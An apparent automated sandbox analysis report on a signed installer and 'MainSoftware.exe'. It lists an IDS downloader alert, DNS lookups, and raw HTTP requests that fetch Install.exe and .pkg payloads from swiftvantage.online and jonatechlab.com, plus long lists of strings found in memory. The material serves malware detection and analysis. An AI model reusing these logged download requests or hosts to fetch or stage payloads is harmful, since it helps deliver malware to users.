Source: unknown

DNS query: name: ifconfig.me

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49995 -> 172.67.183.127:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exe HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: swiftvantage.onlineConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Surfclub.pkg HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: swiftvantage.onlineConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /install/whattoinstall/89b7e6dd-bc12-46a1-96dc-aded5f1cf453 HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Install.exe HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Chop.pkg HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /v.php HTTP/1.1Host: wetransfers.ioUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /tools/domains HTTP/1.1Host: swiftvantage.online
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ifconfig.meAccept: /

Source: global traffic	DNS traffic detected: DNS query: swiftvantage.online
Source: global traffic	DNS traffic detected: DNS query: tse1.mm.bing.net
Source: global traffic	DNS traffic detected: DNS query: jonatechlab.com
Source: global traffic	DNS traffic detected: DNS query: wetransfers.io
Source: global traffic	DNS traffic detected: DNS query: ifconfig.me
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /install/new HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000Transfer-Encoding: chunkedContent-Type: application/json; charset=utf-8

Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.css
Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.jpg
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2608319609.000000000A4C0000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2569973733.00000000056E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2563437302.0000000008D89000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2571370950.0000000008D90000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2565300514.0000000008D8F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2571276052.0000000008D89000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2569973733.00000000056E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2568114439.0000000005481000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564436089.0000000005480000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2563437302.0000000008D89000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2571370950.0000000008D90000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2565300514.0000000008D8F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2571276052.0000000008D89000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2568114439.0000000005481000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2569973733.00000000056E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564436089.0000000005480000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: MainSoftware.exe, 00000013.00000002.2485820059.000001CEA2497000.00000004.00001000.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2485820059.000001CEA2445000.00000004.00001000.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2485820059.000001CEA247F000.00000004.00001000.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2485820059.000001CEA2483000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://jonatechlab.com:443/
Source: setup.exe, 00000000.00000002.2608319609.000000000A4C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2568114439.0000000005481000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564436089.0000000005480000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2568114439.0000000005481000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2569973733.00000000056E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564436089.0000000005480000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0?
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2563437302.0000000008D89000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2571370950.0000000008D90000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2565300514.0000000008D8F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2571276052.0000000008D89000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0P
Source: MainSoftware.exe, 00000013.00000002.2488949645.0000020F373C0000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.IO
Source: MainSoftware.exe, 00000013.00000002.2488949645.0000020F373C0000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/SystemV
Source: MainSoftware.exe, 00000013.00000002.2488949645.0000020F373C0000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/SystemY
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005
Source: setup.exe, 00000000.00000003.1996568847.000000000CB76000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2503289063.0000020F3A631000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503182962.0000020F3A611000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575095760.000001A50ACF1000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/locality
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/mobilephone
Source: setup.exe, 00000000.00000003.1996568847.000000000CB76000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2503289063.0000020F3A631000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503182962.0000020F3A611000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575095760.000001A50ACF1000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/otherphone
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/postalcoderhttp://schemas.xmlsoap.org/ws/2005/
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddresszhttp://schemas.xmlsoap.org/ws/20
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/thumbprintrhttp://schemas.xmlsoap.org/ws/2005/
Source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/x500distinguishednamevhttp://schemas.xmlsoap.o
Source: setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096#
Source: setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096##
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2568114439.0000000005481000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564436089.0000000005480000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAutho
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2568114439.0000000005481000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2569973733.00000000056E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564436089.0000000005480000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1931259294.0000000008D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: setup.exe, 00000000.00000003.1996568847.000000000C890000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: setup.exe, 00000000.00000003.1996568847.000000000C6FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C890000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2486648118.0000020F34A73000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/binaryformatter
Source: MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?
